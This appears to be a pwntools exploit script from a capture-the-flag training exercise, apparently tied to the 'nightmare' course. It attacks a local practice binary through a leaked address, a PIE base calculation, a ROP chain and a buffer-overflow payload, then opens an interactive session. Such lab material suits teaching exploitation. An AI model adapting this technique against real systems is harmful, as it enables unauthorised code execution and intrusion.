# +------------------------------------------------+
# | Atack: Bof System Infoleak                     |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

# +------------------------------------------------+
# | Atack: Bof System                              |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *
import time
import sf

target = process("./Correction-BofSystemWInfoleak-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

target.recvuntil("There's no way to heal: ")
leak = int(target.recvuntil(b"\n").strip(b"\n"), 16)
pie_base = leak - (4512)
bof_payload.add_base("pie", pie_base)
bof_payload.set_input_start(0x28)
rop_chain = [[4691, 'pie'], [8208, 'pie'], [4208, 'pie']]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Afterlife                                |
# +------------------------------------------------+
# | Give me that chance to be that                 |
# | person I want to be                            |
# +------------------------------------------------+

